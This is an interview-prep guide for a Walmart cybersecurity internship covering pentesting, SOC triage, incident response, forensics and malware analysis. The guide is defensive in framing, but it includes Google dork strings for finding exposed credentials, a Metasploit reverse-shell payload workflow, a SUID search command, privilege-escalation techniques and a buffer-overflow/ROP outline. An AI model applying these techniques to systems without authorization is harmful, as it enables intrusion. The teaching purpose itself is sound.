SOC, pentesting and response

Walmart Campus Grad — Cybersecurity Intern Prep (Topic 5 of series) JD anchors: threat analysis, vulnerability assessment + penetration testing, incident response + threat hunting + SOC operations, research on zero-days. Resume anchors: CTF reverse engineering (Ghidra/GDB), forensics (Autopsy), malware analysis, Wireshark.

1. Why Walmart Asks This

Walmart Global Tech's Cybersecurity org defends the world's largest retailer — ~240M weekly customers, thousands of stores, massive e-commerce and supply-chain platforms. Their intern job family explicitly splits into roles like Penetration Testing Engineer II, Intrusion Analyst II (SOC), Cyber Intelligence Engineer II, and Data Assurance Engineer II — exactly the pillars of this topic. A campus-grad candidate is expected to:

• Understand the offense → detection → response loop: pentest and VA find weaknesses; the SOC detects and triages; IR contains and eradicates; hunting finds what tooling missed; malware/forensics/RE explain what actually happened.
• Reason out loud under uncertainty in scenario questions (ransomware at 2 AM, beaconing workstation, zero-day in a prod library) — Walmart interviewers probe process, ownership, and communication, not just definitions.
• Speak the language of risk at retail scale: a payment-flow vuln or a ransomware outbreak on store systems is a business-continuity event, not just a ticket.
• Tie the resume (Ghidra/GDB, Autopsy, malware, Wireshark) to real workflows — CTF skills must translate into "how I'd analyze a real incident."

Interview shape (from real candidate reports): recruiter screen → hiring-manager/technical round (verbal depth on projects + scenarios) → behavioral round (ownership, communication, handling ambiguity). Expect 1–3 deep scenario walk-throughs plus rapid-fire fundamentals.

2. Core Concepts (with examples)

2.1 Vulnerability Assessment vs Penetration Testing

Memory hook: VA is the census; pentest is the break-in. VA answers "what's weak?" — pentest answers "can a real attacker hurt us, and how?"

Why it matters at Walmart: at retail scale the VA side runs against thousands of stores, distribution centers, and cloud workloads — the volume makes prioritization, not discovery, the hard part. The pentest side exists because scanners cannot tell you what an attacker can actually reach: payment flows, associate PII, and supply-chain systems are crown jewels where demonstrated impact beats a raw CVE count.

How a VA cycle runs in practice: credentialed scans run on a schedule against defined asset groups → findings normalize into a vulnerability management platform → analysts validate the top findings (scanner version matches over-report) → findings are risk-ranked with asset criticality and exposure → remediation tickets carry severity-based SLAs → re-scan verifies closure. The metric that matters is coverage — what share of internet-facing and critical assets are patched within SLA — not the raw count of findings.

Concrete triage example: a scanner reports MS17-010 (EternalBlue) on 120 hosts. The same CVE gets two different calls: a store server in the cardholder data path is Critical — emergency patch, or isolate until patched, because the exploit is public and wormable. The identical finding on an isolated lab VLAN with no route to production is Medium — scheduled patching. Same score, different risk.

Likely interview question: "The scanner shows 5,000 criticals. What do you do?" Sketch: I don't chase counts — I validate the top findings, risk-rank by CVSS × asset criticality × exposure × exploit maturity (KEV/EPSS), work down against SLAs, and report percent of critical assets remediated rather than tickets closed. (Full sketch in Q4.)

2.2 Pentest Phases — PTES

The Penetration Testing Execution Standard (PTES) defines 7 phases: Pre-engagement Interactions → Intelligence Gathering → Threat Modeling → Vulnerability Analysis → Exploitation → Post-Exploitation → Reporting.

The common shorthand recon → scan → exploit → post-exploit → report maps onto it:

1. Recon / Intelligence Gathering — passive OSINT first (no touching the target).
2. Scanning & Enumeration — active discovery of hosts, ports, services, versions, shares, users.
3. Vulnerability Analysis — map findings to CVEs/misconfigs; threat-model which matter (crown jewels: payment, PII, supply chain).
4. Exploitation — gain access with minimal noise; prove impact.
5. Post-Exploitation — privilege escalation, lateral movement, persistence tests (only as authorized), data-access proof without exfiltrating real PII.
6. Reporting & Remediation — exec summary + technical detail + reproducible steps + severity + fix guidance. Re-test after fixes.

Other frameworks worth naming: NIST SP 800-115, OWASP Testing Guide (web/API), OSSTMM.

How an engagement runs in practice: before any packet is sent, the Rules of Engagement fix the scope (CIDR ranges, domains, what third-party SaaS is excluded), the test window (avoid peak retail periods like holiday freeze), named contacts, an emergency-stop procedure, and data-handling rules. During the test the analyst keeps timestamped notes and screenshots so every finding is reproducible later. Reporting is the deliverable that actually reduces risk: each finding carries severity (CVSS plus business context), exact reproduction steps, evidence, and a fix; leadership gets an executive summary in business terms. A retest after remediation confirms the fix and closes the loop.

Concrete example: a tester finds a low-severity IDOR that returns only order IDs, then notices the IDs are sequential and the API has no rate limiting — chaining enumeration with the IDOR exposes full order details. The report sells the chain, not the two individual bugs: the severity comes from demonstrated impact, and each link still gets its own remediation item.

Likely interview question: "What is the first thing you do before touching a target?" Sketch: nothing technical — confirm signed scope and RoE, the test window, contacts, and the emergency-stop path. Touching out-of-scope systems or real customer data is a reportable incident, not a finding. (See Q2 and Q26.)

2.3 Reconnaissance: OSINT, Subdomains, Dorks, Shodan

• Passive recon — no direct contact: WHOIS (registrar, creation date, nameservers — pivot on registrant email/org), DNS history, certificate transparency logs (crt.sh), job postings ("we use Kubernetes on GCP"), LinkedIn, GitHub leaks (.env, API keys), breach corpora.
• Active recon — touching the target: ping sweeps, port scans, and banner grabs to confirm live hosts and versions. It is noisy and rate-limited to in-scope targets only; a careless scan can knock over a fragile production system.
• Google dorks: site:walmart.com filetype:pdf "internal", inurl:admin intitle:"login", ext:conf "password" — search engines index things admins forget exist.
• Shodan/Censys: internet-wide device search — org:"Walmart" port:443, exposed RDP (3389), databases (9200 Elasticsearch, 27017 Mongo), IoT/cameras, misconfigured S3-adjacent services.
• Subdomain enumeration: subfinder, amass, assetfinder, plus permutation fuzzing — this finds staging., dev., docs., vpn. hosts that are weaker than prod. Example: exposed docs.client.com revealed API structure → combined with no login rate-limiting → credential stuffing → IDOR → full app compromise (a real reported engagement chain).

How recon works in practice: recon builds the scoped attack-surface map every later phase depends on — which hosts are internet-facing, what software they run, which subdomains are weaker than production, and where developers or job postings leaked internal detail. The output is a validated asset list and a shortlist of likely entry points for the scanning phase, not a pile of raw search results.

Concrete example: certificate transparency logs list vpn.vendor-portal.example with a certificate issued last month, and job postings for the same team mention "AWS, Kubernetes". The analyst confirms the host with a banner grab, notes an outdated VPN gateway version, and flags it for the scan phase as a probable entry point — the recon hint becomes a validated finding only after active confirmation.

Likely interview question: "Why passive recon before active?" Sketch: passive uses third-party data, so there is zero risk of detection or outage, and it often reveals enough to skip noisy probing. Active packets can crash fragile systems and alert defenders, so they come second and only in scope. (Q3.)

2.4 Scanning & Enumeration: gobuster, Nikto, Nessus

• Nmap — host/port/service discovery: -sV grabs service versions, -sC runs default scripts, NSE vuln scripts flag known issues. It is the first tool that turns an IP list into a service inventory.
• gobuster / ffuf — content & subdomain brute-forcing with wordlists: hidden dirs (/backup, /admin, /api/v1), vhosts, and endpoints no scanner indexes. Fast, but expect false positives that need manual verification.
• Nikto — web server scanner for outdated software, dangerous files/CGIs, and misconfig headers (missing HSTS, verbose errors). Noisy and signature-based — use it as a hint source, not a verdict.
• Nessus / OpenVAS / Qualys — credentialed vulnerability scanners; plugin-based CVE checks. Credentialed scans find far more (local patch level, weak configs) than unauthenticated ones. Always validate scanner output — scanners over-report (version-match false positives) and under-report (logic flaws, auth bypasses).
• Enumeration extras: SMB (enum4linux, null sessions), SNMP community strings, LDAP, NFS exports, DNS zone transfers — each protocol leaks different detail (shares, printer configs, user lists), so enumerate per service, not just per port.

How scanning works in practice: discovery first (what hosts and ports are alive), then service enumeration (what versions are running), then vulnerability checks — credentialed where possible, safe checks only in production. Every automated finding gets validated before it enters a report: scanners match version strings, so backported patches (common on RHEL/Ubuntu) produce false positives, while logic flaws and auth bypasses produce false negatives. The analyst's job is turning 10,000 plugin hits into a validated, prioritized list of maybe 40 real issues.

Concrete triage example: a plugin reports "OpenSSL 1.0.2 — multiple CVEs" on a Linux host. Check the distro changelog: the vendor may have backported fixes while keeping the version string. Confirm with a version-specific safe check or the package changelog before calling it vulnerable; if the fix is present, close as a false positive with the evidence written down. If the host is internet-facing and truly unpatched, raise its priority for exposure regardless of the raw score.

Likely interview question: "Your scanner and the dev team disagree. Who is right?" Sketch: neither by default — verify with version evidence, a safe PoC in a maintenance window, or the patch changelog. Scanners over-report version matches and under-report logic flaws. (Q25.)

2.5 Metasploit & Privilege Escalation

Metasploit workflow: import scan results → search module → use → set RHOSTS/LHOST/PAYLOAD (windows/x64/meterpreter/reverse_tcp) → exploit → Meterpreter session → post modules (hash dump, getsystem, persistence, pivoting via route/portfwd).

Privilege escalation: - Windows: unquoted service paths, weak service DACLs, AlwaysInstallElevated, token impersonation (GodPotato), writable Program Files, kernel exploits, stored creds (cmdkey, Credential Manager), Kerberoasting / Pass-the-Hash in AD. The pattern to verbalize: abuse a writable object a higher-privileged process touches, or grab reusable credentials. - Linux: sudo -l misconfigs, SUID binaries (find / -perm -4000), writable /etc/passwd, cron jobs, capabilities, kernel exploits (Dirty Pipe/CVE-2022-0847). The pattern: misconfigured privilege delegation, writable root-owned scripts, or a kernel bug — check sudo -l, the SUID list, and cron first. - Methodology: run a privesc checklist (LinPEAS/WinPEAS), understand why each finding escalates — interviewers hate tool-dropping without reasoning.

How it works in practice: exploitation is the phase with the most rules: only targets in scope, only agreed payloads, no destructive modules, and no real data exfiltration. Impact is proven by demonstrating access (a screenshot of the file listing, not a copy of the file). Meterpreter sessions feed post-exploitation modules that enumerate credentials and routes, but every post action is checked against the RoE first.

Concrete example: after gaining a low-privilege session on a Linux web server, whoami shows a service account. LinPEAS flags a cron script writable by that account but run by root. The exploit is one line (append a command to the script), but the proof is whoami returning root at the next cron run — evidence captured, no data copied, finding written up as the chain "weak file permissions → root".

Likely interview question: "You got a shell on a production server during a pentest. What now?" Sketch: confirm scope, stabilize quietly, prove privilege minimally (no destructive escalation), capture evidence, note what data is reachable without touching it, and report. If I stumble on real customer data, I stop and notify the engagement lead immediately. (Q26.)

2.6 CVSS (Common Vulnerability Scoring System)

CVSS v3.1 gives 0–10 base score from exploitability metrics (Attack Vector, Attack Complexity, Privileges Required, User Interaction) and impact metrics (CIA scope/impact), plus Temporal & Environmental adjustments. Example:

• SQLi on an internet-facing retail API: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical — unauthenticated, low complexity, full CIA impact.
• Local privesc requiring user interaction on a kiosk: AV:L/AC:L/PR:L/UI:R/... → Medium — needs local access and a user click, so the realistic exposure is far lower.

(Ranges per FIRST CVSS v3.1 spec §5.)

Key interview nuance: CVSS ≠ risk. Real prioritization = CVSS × asset criticality × exposure × exploit maturity (KEV/EPSS). A "medium" vuln on a domain controller beats a "critical" on an isolated dev box. Mention CISA KEV (known exploited) and EPSS (exploit probability) as the modern tiebreakers.

How a severity call works in practice: scoring is base first, then environment. The base vector comes from the CVE analysis; the environmental adjustment comes from the asset. A retail example: a SQLi in the checkout API is internet-facing and unauthenticated (CVSS 9.8) and touches payment — treat it as an emergency regardless of what else is queued. A local privilege escalation on an associate kiosk is Medium by base score, but if kiosks sit inside store networks and the exploit is listed in CISA KEV, it moves up the queue. Documenting the reasoning ("9.8 base, payment path, KEV-listed → emergency patch by Friday") is what turns a score into a decision.

Likely interview question: "A critical CVE lands on a dev server and a medium lands on a domain controller. Which first?" Sketch: the domain controller. CVSS measures severity; risk adds asset criticality, exposure, and exploit maturity — a medium on identity infrastructure outranks a critical on an isolated dev box. (Q4.)

2.7 Kill Chain + MITRE ATT&CK

Lockheed Martin Cyber Kill Chain (7): Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control (C2) → Actions on Objectives. Defenders map controls to break the chain early (block delivery ⇒ no incident).

MITRE ATT&CK — a curated knowledge base of real adversary Tactics (TA####), Techniques (T####), Procedures observed in the wild, organized by Enterprise/ICS/Mobile and per-APT group. Example: phishing macro → T1566.001 (Spearphishing Attachment) → T1059.001 (PowerShell) → T1053.005 (Scheduled Task persistence) → T1071.001 (Web C2). Use it for detection gap analysis, hunting hypotheses, and reporting ("this maps to T1486 Data Encrypted for Impact"). (Note: Enterprise ATT&CK v19, released 28 Apr 2026, retired Defense Evasion (TA0005) and split it into Stealth (TA0005) and Defense Impairment (TA0112). Most existing mappings/rules still say "Defense Evasion", so mention both names if asked.)

Why both models matter at Walmart: the kill chain gives leadership the narrative — "we broke the attack at delivery, so there was no incident" — while ATT&CK gives the SOC engineering language: every technique in a real intrusion maps to a detection that either exists (coverage) or does not (a gap). Retail estates are probed constantly, so the useful question is not "are we attacked?" but "at which tactic do our controls actually stop the chain, and where are the gaps?"

Concrete example: one intrusion attempt traced through logs shows T1566.001 (macro attachment) blocked at the email gateway — the chain stopped at delivery, no endpoint involvement. A second case shows PowerShell (T1059.001) executing on one host with no detection rule that would have fired — a coverage gap at execution. The output of the analysis is one new Sigma rule and one gateway policy change.

Likely interview question: "How do you use ATT&CK day to day?" Sketch: coverage mapping (which techniques have detections and which don't), hunting hypotheses ("if account discovery T1087 happened, which log would show it?"), and shared reporting language. Kill Chain for narrative, ATT&CK for engineering. (Q5.)

2.8 SOC: L1–L3 and Triage

Triage framework (say it out loud): Validate the alert → Context (user, asset criticality, business justification) → Investigate (logs, process tree, timeline) → Scope (same behavior elsewhere?) → Escalate/close with documented reasoning. First question always: "Is this alert real — did the rule fire on correct data?"

How a triage goes in practice: an alert lands in the queue with the rule name, the raw events, and an asset. The analyst's first act is verifying the rule fired on correct data — a DNS alert built on a mismatched proxy field is an FP factory, not an intrusion. Then context: who is the user, what role does the host play, is there a change window or a maintenance job that explains the pattern? Only then investigation — process tree, parent process, timeline — and scoping: does the same hash, domain, or behavior appear on other hosts? The output is either a closed alert with a written reason or an escalation packet for L2 (timeline, indicators, hypothesis, what was checked and ruled out).

Concrete example (illustrative, sanitized log excerpt):

02:14:07  EventCode=4624  LogonType=3   user=jdoe  src_ip=10.44.7.19  host=STORE-PC-117
02:14:22  EventCode=4688  Parent=winword.exe  NewProcess=powershell.exe -enc SQBFAFgA...
02:16:40  Sysmon EventCode=1  Image=powershell.exe  outbound connect to 185.x.x.x:443

Triage decision: Word spawning encoded PowerShell is an execution red flag (T1059.001) with outbound traffic minutes later — a true positive pending scoping. Severity call: high; on a store workstation this escalates to L2/IR immediately. Containment call: isolate the host via EDR (isolating store equipment is also a business call — notify store ops and the incident lead in the same step), capture memory before any reboot, and block the destination network-wide.

Likely interview question: "How do you decide escalate vs close?" Sketch: escalate when there is evidence of credential access, lateral movement, persistence, or data access — or when after ~45 minutes I have an evidence gap rather than a verdict. An over-escalation costs a review; a missed incident costs an investigation. (Q6.)

2.9 SIEM, Splunk SPL, Correlation, Log Sources

SIEM = collect → normalize → correlate → alert → dashboard. Common log sources: firewall, proxy, DNS, Windows Event Logs (4624 logon, 4625 failure, 4688 process creation, 4720 account created, 1102 log cleared), Sysmon (1 process, 3 network, 7 image load), EDR telemetry, VPN, AD/identity, cloud (CloudTrail), email gateway, web/app logs.

Correlation example: brute-force signal = count>20 4625 failures by src_ip → followed within 10 min by 4624 LogonType 10 (RDP) from same IP → single high-fidelity "successful brute force" alert instead of 500 noise alerts.

SPL vs KQL vs ELK (same hunt, different syntax): SPL searches index=… with per-sourcetype field names; Sentinel/Defender KQL queries tables (DeviceProcessEvents, SecurityEvent) with typed columns; ELK/Kibana queries indices with KQL/Lucene (event.code: 4625). Worked KQL equivalent in §4.4.

Why log source choice matters at Walmart: at store-and-DC scale a SIEM ingests billions of events; nobody searches the raw firehose, analysts search normalized fields. Knowing which source answers which question is the core skill: identity questions go to AD/4624-family events, process questions to Sysmon/EDR, egress questions to proxy and DNS. A missing source (say, no DNS logging at stores) is itself a finding to report.

How an alert's life goes from trigger to ticket: a scheduled search or streaming correlation matches its condition → the notable fires with a title, urgency, and the raw events attached → enrichment adds user risk score, asset criticality, and intel lookups → it lands in the triage queue → V-C-I-S-E produces either a written close reason or an escalated case whose ticket carries the evidence, the scope, and the requested action.

Concrete example (illustrative): 47 4625 failed logon events from 10.44.7.19 against 6 different service accounts in 4 minutes, then a 4624 LogonType=3 for svc_backup. Alone these are noise; correlated (as in the SPL in §4.4) they become one "successful brute force" notable. Triage: the source IP is a store workstation, not a jump host — a store device authenticating as a backup service account is contextually wrong → high severity, disable svc_backup, isolate the workstation, escalate with the event list attached.

Likely interview question: "Where would you look first for lateral movement?" Sketch: 4624 LogonType 3/10 and 4672 (admin logon) events showing one account touching many servers in a short window, plus RDP/SMB from unusual sources — then check change windows before calling it malicious. (Q9, Q24.)

2.10 True/False Positives & Alert Fatigue

• TP = alert correctly fired and malicious; FP = rule fired correctly but activity is benign (e.g., admin's encoded PowerShell); FN = malicious activity missed (worse than FP).
• Alert fatigue: analysts drowning in low-fidelity alerts start closing real incidents. Fixes: tune rules (add exceptions for known-good scanners/backup tools), suppress/dedupe, risk-based scoring (risk-ranked queues), measure TP rate per rule — "a rule firing 200×/day at 0% TP needs a rewrite." Individual habit: never close an alert without a written reason.

Alert-fatigue triage math (worked example): suppose one rule fires 400 alerts/day and average handling time is 8 minutes per alert. That is 400 × 8 = 3,200 minutes ≈ 53 analyst-hours per day — more than six analyst-shifts consumed mostly by noise before any real investigation happens. Sample 20 of those alerts and find 1 true positive: a 5% TP rate. Now tune the rule (exclude the known backup scanner, raise the threshold) and drop it to 30 alerts/day at the same TP rate: 30 × 8 = 240 minutes = 4 hours/day, and the true positives still surface. The metrics to report are TP rate per rule and alerts per analyst-hour, not how many alerts were suppressed.

Why it matters at Walmart: a retail SOC covers thousands of stores and endpoints, so low-fidelity rules multiply across the estate and analysts start bulk-closing — which is exactly how real incidents get missed. The fix is systemic (tune, dedupe, risk-rank the queue) and personal (never close an alert without a written reason — the close reason is the tuning signal).

Likely interview question: "How do you measure alert quality?" Sketch: TP rate per rule over a sample, alerts-per-incident (dedupe ratio), and time-to-triage. A rule firing 200×/day at 0% TP gets rewritten or killed. (Q8.)

2.11 SOAR Playbooks

SOAR = Security Orchestration, Automation & Response — automates repetitive triage: enrich IP/hash across intel feeds, isolate host, disable user, open ticket, notify — via playbooks (Splunk SOAR/Phantom, XSOAR). Example: phishing playbook auto-submits attachment to sandbox, checks URL reputation, purges the email from all inboxes, and creates a case. Humans handle judgment calls; automation handles the 10 identical enrichment steps.

How a playbook runs in practice: a trigger (a user-reported email, or a SIEM notable) starts the playbook → enrichment steps query intel feeds, sandbox the attachment, look up the sender's reputation → decision branches (known-bad = auto-actions; unknown = human review) → response actions (purge the email, block the URL, disable the user, isolate the host) → case creation with everything attached for the analyst. Every automated action is logged and reversible where possible, and the playbook defines exactly which steps require human approval.

Likely interview question: "What should never be fully automated?" Sketch: business-impacting containment on critical systems (isolating a POS or a checkout service), destructive actions, and anything requiring judgment about intent — automation prepares the decision, the analyst makes it. (Q10.)

2.12 IR: NIST & SANS Six Phases

NIST SP 800-61: Preparation → Detection & Analysis → Containment, Eradication & Recovery → Post-Incident Activity. SANS PICERL (6 phases):

1. Preparation — playbooks, tooling, comms, backups, training
2. Identification — detect & confirm the incident, classify severity
3. Containment — short-term (isolate host, block C2) & long-term (rebuild, patched images)
4. Eradication — remove malware/backdoors, close root cause (patch, reset creds)
5. Recovery — restore from clean backups, monitor for re-entry
6. Lessons Learned — blameless post-mortem, update detections & playbooks

Containment — short vs long term: - Short-term (hours): network isolation of host (EDR isolate keeps IR channel alive), block C2 domains/IPs at proxy/firewall, disable compromised accounts, snapshot VM. Trade-off: isolation can destroy evidence or stop business (a POS or store server isolation = revenue impact) — decide with business stakeholders. - Long-term (days): rebuild from known-good images, patch the exploited vector, rotate all exposed credentials/keys, harden (MFA, segmentation).

Sample incident timeline: detection to lessons learned (illustrative): PICERL works when every phase has an entry and exit condition, so response doesn't collapse into improvisation. A worked chain for a malware incident:

• Day 0, 02:14 UTC (Identification): EDR fires on encoded PowerShell spawned from Word on a store-office workstation. L1 validates the process tree and the raw event (the rule fired on correct data), sees outbound traffic minutes later, and escalates at 02:35 — high severity, suspected dropper, packet includes the timeline and indicators.
• Day 0, 02:45 (Short-term containment): the IR lead isolates the host via EDR (store ops notified in the same step — one workstation isolated, registers unaffected), blocks the C2 domain at proxy and firewall, disables the user's account pending reset, and captures memory before anything else (order of volatility).
• Day 0, 03:00–07:00 (Analysis and scoping): hash lookup and YARA identify a common downloader family; hunting the domain and hash across the estate finds three more hosts; patient zero traced to a phishing attachment opened at 02:11. Severity call: active intrusion confirmed, no exfiltration observed yet — communicate as "contained, scoping in progress", not "resolved".
• Day 1 (Eradication and recovery): rebuild the four hosts from clean, patched images (never clean in place), rotate the affected credentials and revoke cached tokens, restore files from verified-good backups, and keep enhanced monitoring on the C2 indicators for 30 days to catch re-entry.
• Day 14 (Lessons learned): blameless post-mortem. Gaps closed: a new Sigma rule for Word-spawning-PowerShell, mail-filter tuning for the attachment type, and a playbook update making the store-notification step explicit. Report time-to-detect and time-to-contain from the timeline to leadership, and share the defanged IOCs with the intel community.

Likely interview question: "Walk me through how you'd run an incident from alert to closure." Sketch: validate and declare → contain short-term (isolate, block C2) with evidence preserved first → scope and analyze (patient zero, family, blast radius) → eradicate and recover (rebuild, rotate, restore) → blameless lessons learned that produce new detections. Name the phase transitions and who owns each. (Q11, Q24, Q28.)

2.13 Evidence Handling: Chain of Custody & Order of Volatility

• Chain of custody: documented, unbroken record of who collected/handled/transferred each evidence item, when, and why (hash + write-blockers + signed forms). Break the chain ⇒ evidence may be inadmissible and findings untrustworthy.
• Order of volatility (RFC 3227): capture the most ephemeral data first: CPU registers/cache → RAM (running processes, network connections, injected code, creds) → network state/ARP → temporary files → disk → remote logs → physical configuration/network topology → archival media/backup tapes. (RFC 3227 §2.1.)
• Practical: memory capture before pulling the plug; forensic image (bit-for-bit) with dd/FTK Imager; work on copies; verify SHA-256 hashes.

How evidence handling works in practice: the responder photographs the scene state, collects RAM first (memory tools such as WinPmem/FTK, or the EDR's own capture), then takes disk images with a write-blocker, hashing each item (SHA-256) at acquisition and re-verifying on every transfer. Each item goes into an evidence log: item ID, who collected it, UTC timestamp, hash, destination. Work on copies only — the original image is never mounted writable. A break in that record doesn't just weaken court use; it makes the incident findings themselves untrustworthy.

Likely interview question: "An admin reboots a suspected-compromised server before you arrive. What's lost?" Sketch: RAM — running processes, injected code, network connections, credentials in memory, and the malware's decrypted state. Only disk artifacts and remote logs survive. That's why capture-before-reboot is a standing order. (Q13.)

2.14 Threat Hunting: Hypothesis, IOC/IOA/TTP, Intel, Sigma

• Hunting = proactive search assuming the breach already happened ("assume breach"), driven by hypotheses: "If an attacker phished a store associate, we'd see Office spawning PowerShell and odd DNS TXT lookups." Then query telemetry to prove/disprove.
• IOC (Indicator of Compromise): concrete artifacts — hash, domain, IP, mutex. Fast to block, easy for attackers to change.
• IOA (Indicator of Attack): behavior/intent — "PowerShell encoded command spawning from Word", credential dumping. Durable.
• TTP (Tactics, Techniques, Procedures): adversary tradecraft — "Kerberoasting then Pass-the-Hash". Most durable; matches ATT&CK.
• Feeds to name: MISP (open-source intel sharing platform/format), AlienVault OTX (free community IOC exchange), CISA AIS (automated indicator sharing) + CISA KEV (known-exploited-vulnerability catalog — patch first), abuse.ch (URLhaus malware URLs, MalwareBazaar samples, Feodo C2 IPs), VirusTotal Intelligence (paid hunting/retrohunting).
• Threat intel lifecycle: direction → collection → processing → analysis → dissemination → feedback. Intel feeds the hypotheses (e.g., "APT X targets retail via supply chain — hunt for their C2 patterns"). Always defang IOCs when sharing: hxxp://evil[.]com.
• Sigma — vendor-neutral detection rule format (YAML) that converts to Splunk/Elastic/KQL queries.

Worked hunt hypothesis with data sources (illustrative): Hypothesis: "If an attacker phished a store associate, Office would spawn PowerShell and generate unusual DNS — possibly before any alert fires." Data sources: Sysmon process creation (Event ID 1) for parent-child chains, DNS logs for query patterns, proxy logs for egress, email gateway logs for the delivering message, and identity logs for what the account did afterward. Method: query for winword.exe/excel.exe spawning powershell.exe/cmd.exe across the estate over 30 days (the SPL pattern in §4.4), pivot on each hit to DNS and proxy logs for the same host within ±10 minutes, then check the mailbox for the delivering message. Outcome: no hits → the hypothesis is disproven for this window and gets recorded as a watch item; hits → each is triaged (admin script = tuning signal, unknown = incident), and the validated behavior becomes a Sigma rule plus a mail-filter check. Every hunt ends in one of three places: a new detection, a tuning fix, or a documented negative.

Likely interview question: "Walk me through a hunt you'd run here." Sketch: state the hypothesis first, name the telemetry (Sysmon, DNS, proxy, identity), the query pattern, the pivot, and what result would confirm or kill it — never "I'd just look at logs." (Q14, Q21.)

2.15 Malware Analysis: Static vs Dynamic, VirusTotal, YARA

• Static (no execution): file, hashes (MD5/SHA256), strings, PE header/imports/sections, entropy (packing detection), disassembly/decompilation in Ghidra/IDA, macro extraction (olevba). Safer, but packed/obfuscated code hides logic.
• Dynamic (executed in isolated sandbox/VM): Process Monitor, Procmon registry/file writes, FakeNet-NG/Wireshark for C2, Regshot, sandbox reports (Cuckoo, ANY.RUN). Catches behavior, but malware may detect VMs (VM artifacts, rdtsc timing, user-interaction checks) and go dormant — counter with bare-metal or patched environments.
• Packing: high entropy + few imports ⇒ packed. Break with known unpackers or debug to OEP (breakpoints on VirtualAlloc/VirtualProtect), dump with Scylla.
• VirusTotal: upload hash/file for AV/AV-sandbox verdicts and community comments. Caveat: uploading a sample makes it public/shared with vendors — never upload client-sensitive or pre-weaponized samples; check hash first, don't upload blindly.
• YARA: pattern-matching rules ("AV for files") — meta, strings, condition. Write rules on family-specific artifacts, not generic imports; test against goodware to control FPs.

How an analysis session runs in practice: first static triage on a copy of the sample — file, hashes checked against VirusTotal by hash only when the sample is sensitive, strings, imports (does it call WinInet/WinHTTP and registry APIs? C2 and persistence hints), entropy for packing. If packed or the logic is unclear, move to dynamic analysis in an isolated, monitored sandbox — record the process tree, file/registry writes, and network traffic; the C2 channel and any dropped files are the IOC source. The verdict feeds three outputs: containment indicators (domains, hashes, mutexes), a YARA rule for family detection, and a narrative of what the malware did for the IR timeline.

Likely interview question: "The sample is packed and your sandbox shows nothing. Now what?" Sketch: sandbox evasion is likely — check for VM artifacts and timing tricks, retry on bare-metal or with an interactive environment, and meanwhile unpack manually (breakpoints on VirtualAlloc/VirtualProtect, dump at OEP, rebuild imports). Static and dynamic findings corroborate each other; neither verdict stands alone. (Q17.)

2.16 Forensics: File Carving & Timelines

• File carving: recovering files from raw disk/slack/unallocated space based on file headers/footers (JPEG FFD8FF, PDF %PDF/%%EOF), independent of the file system. Tools: Autopsy/TSK, foremost, scalpel, PhotoRec (ProDiscover = commercial imager/forensic suite, same acquisition-carving workflow). Example: carved a deleted ransomware note + stolen ZIP from unallocated space.
• Timeline analysis: correlate MACB times (Modified/Accessed/Changed/Birth) — mactime/Autopsy super-timeline combining file, registry (Prefetch, Run keys, ShimCache), browser, USB, and event log artifacts into one narrative ("02:14 invoice.docm opened → 02:15 powershell.exe → 02:16 new Run key").
• Volatility on memory dumps: pslist/psscan (hidden/terminated processes), pstree (browser spawning cmd), malfind (injected RWX memory), netscan (C2), hivelist/handles. Volatility 2: vol.py --profile=Win10x64 pslist; Volatility 3: vol -f mem.raw windows.pslist (plugins are windows.*).

How a forensics walkthrough runs in practice: the goal is answering specific questions — initial access, what data was touched, persistence — with artifacts, not intuition. A timeline starts from the alert time and expands outward: Prefetch shows program execution order, Run keys and scheduled tasks show persistence, browser history shows the download, USB artifacts show whether data left. Each artifact keeps its timestamp normalized (UTC) and its source recorded, so the narrative can be defended line by line.

Likely interview question: "How do you prove data exfiltration from a workstation?" Sketch: proxy/firewall egress volumes per host, DNS for staging domains, archive-creation artifacts (.zip writes, RAR temp files), USB mount history, and sync-client logs — carved artifacts from unallocated space can recover the staged archive itself. (Q19, Q28.)

2.17 Reverse Engineering: Ghidra/GDB, x86, Buffer Overflows

• Workflow: identify file type → strings/imports → load in Ghidra (decompiler to C-like pseudocode, cross-references, rename functions) → debug in GDB (pwndbg)/x64dbg for runtime state.
• x86-64 essentials: registers (rax return, rsp stack pointer, rip instruction pointer), calling convention (args in rdi, rsi, rdx, rcx, r8, r9), stack frames (push rbp; mov rbp, rsp), endianness, call pushes return address, ret pops it.
• Buffer overflow: strcpy/gets writes past a stack buffer ⇒ overwrite saved RBP and the return address ⇒ control rip ⇒ jump to shellcode/ROP. Defenses: stack canaries, DEP/NX (no exec on stack), ASLR, PIE, RELRO, Fortify. Modern exploitation uses ROP chains to bypass DEP+ASLR (leak → gadgets → system("/bin/sh")). CTF echo: in GDB, find the offset with cyclic pattern (cyclic 100 → crash value → cyclic -l <value>).
• Interview framing: "My CTF RE work means I can read a suspicious binary's decompiled logic in Ghidra, confirm behavior under GDB, and explain exactly what it does — which is how I'd validate an unknown sample in an IR case."

How RE fits an IR case in practice: the SOC needs behavioral facts, not assembly lectures. The workflow compresses to: identify the file, read the decompiled logic in Ghidra until you can name its persistence mechanism and C2 protocol, confirm under GDB that the suspected function actually runs, then extract indicators (hardcoded domains, config-decryption routine, mutex names) and write the YARA/Sigma detections that stop the next copy.

Likely interview question: "How would you analyze an unknown binary found on a store workstation?" Sketch: hash check first, static triage (strings, imports, Ghidra decompile), sandbox dynamic analysis for behavior and C2, extract IOCs, write a YARA rule, and hand the timeline facts to the incident lead. (Q17, Q27.)

2.18 Tools Summary Table

3. Real Interview Q&A (20+, incl. scenarios)

Q1. What's the difference between a vulnerability assessment and a penetration test? Ans: VA is broad, automated, non-exploitative — an inventory of weaknesses with severity. Pentest is deep, manual, exploit-driven — proving what an attacker can actually achieve (data access, lateral movement) under agreed rules. VA runs continuously; pentests are periodic validations.

Q2. Walk me through the PTES phases on a real engagement. Ans: Pre-engagement (scope, RoE, contacts, emergency stop) → Intel gathering (OSINT, subdomains, leaks) → Threat modeling (crown jewels, likely attack paths) → Vulnerability analysis (scan + validate) → Exploitation (controlled PoC) → Post-exploitation (privesc, lateral movement, impact proof) → Reporting (exec summary, technical detail, remediation, retest).

Q3. Passive vs active recon — give examples and why the order matters. Ans: Passive uses third-party data (WHOIS, cert logs, Shodan, GitHub) without touching the target — zero risk of detection or outage. Active sends packets (Nmap, banner grabs) — noisy and can crash fragile systems. Always go passive first; it often reveals enough to skip noisy probing.

